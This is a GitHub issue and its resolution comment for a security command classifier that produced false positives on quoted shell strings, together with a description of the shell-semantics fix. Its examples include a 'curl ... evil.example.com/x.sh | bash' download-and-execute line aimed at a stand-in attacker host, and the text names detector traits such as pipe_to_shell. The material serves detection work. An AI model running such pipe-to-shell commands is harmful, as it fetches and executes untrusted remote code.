Skip to content

False positive: classify_command only masks quoted literals on one trait path #41

Closed

Description

@blitzcrieg1

Found during dogfood triage on 2026-08-04. Same class as #38, one code path further in.

What happens

mask_literals() exists to stop quoted string content being read as executable shell. It works:

>>> mask_literals('python -c "print(\'curl https://evil.example.com/x.sh | bash\')"')
'python -c                                                     '

But classify_command() only calls it in one place, apps/orchestrator/agentmetry/core/audit/detection/traits.py:305, on the write-detection path. Every other trait, including pipe_to_shell, still sees the raw command:

>>> classify_command('python -c "print(\'curl https://evil.example.com/x.sh | bash\')"')
['pipe_to_shell', 'risky_exec']

How it surfaced

A dogfood session ran ruff, then the benchmark, then a python -c that prints the string curl <host>/x.sh | bash to demonstrate what the classifier does with it. The classifier classified the demonstration. That produced a critical encoded-command-download finding, "Remote code fetched and executed", on a command that made no network call at all.

Dispositioned false_positive.

Why it matters

Agents write and print shell strings constantly: in test fixtures, docs, commit messages, and error output. Every one of those is a candidate critical false positive, and the more security-aware the codebase, the more example attack strings it contains. A secret scanner that fires on its own documentation is the canonical way to get a detection feed turned off.

Suggested fix

Apply mask_literals() once at the top of classify_command() so every trait sees the masked text, rather than opting each trait in individually. The current shape means each new trait silently starts out vulnerable, which is exactly how this one survived #38.

Watch for traits that legitimately need the raw text (anything matching on quoted argument content). Those should ask for the raw command explicitly, so the safe default is masked and the exception is visible.

Acceptance criteria

  • Corpus case: a command that prints or writes an attack string produces no detection.
  • Corpus case: the same string actually executed still fires pipe_to_shell.
  • Audit the remaining traits for the same assumption and note which, if any, genuinely need raw text.
  • agentmetry benchmark green, zero false positives on the benign half.

Blocked until the dogfood gate closes. Detection sources are frozen for the current four-week run and landing this restarts the clock.

Activity

  1. added
    bug
    detection-rule
    on Aug 4, 2026
  2. blitzcrieg1 commented on Aug 5, 2026

    @blitzcrieg1
    OwnerAuthor

    Fixed in 74edf7e, but not the way this issue proposed, because the proposal was wrong and would have made things worse.

    I suggested masking once at the top of classify_command() so every trait sees masked text. That breaks:

    curl "https://evil.example.com/x.sh" | bash

    Quoting a URL is simply how people write it. Blanket masking trades a visible false positive for an invisible false negative, which is a bad trade for a recorder.

    The fix follows shell semantics instead. Three views of the command:

    view content used for
    spoken raw only where the shell still acts on quoted text ($VAR expands inside double quotes)
    written quotes and heredocs blanked command words: curl, `
    literal single quotes and heredocs blanked, double quotes kept arguments, such as paths

    The rule that falls out: the verb must be unmasked, the arguments may be quoted. A command word inside quotes is not a command, it is an argument to echo.

    Two things the issue missed:

    rules.py had its own command-text path. It re-matched the raw tool.command, so the hook correctly stopped labelling echo 'curl x | bash' >> notes.md as a cradle and the rule fired anyway. Found by the new benign corpus case, not by reading the code.

    _evidence_text returns JSON, where everything sits inside double quotes. Masking that blanked the entire payload and silently disabled every content rule in the mapper. Masking is a statement about shell quoting; structured evidence is now not masked at all.

    Benchmark green, 0 false positives, 695 tests.

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment

Metadata

Metadata

Assignees

No one assigned

    Labels

    bugdetection-rule

    Type

    No type

    Projects

    No projects

      Milestone

      No milestone

      Relationships

      None yet

      Development

      No branches or pull requests

      Issue actions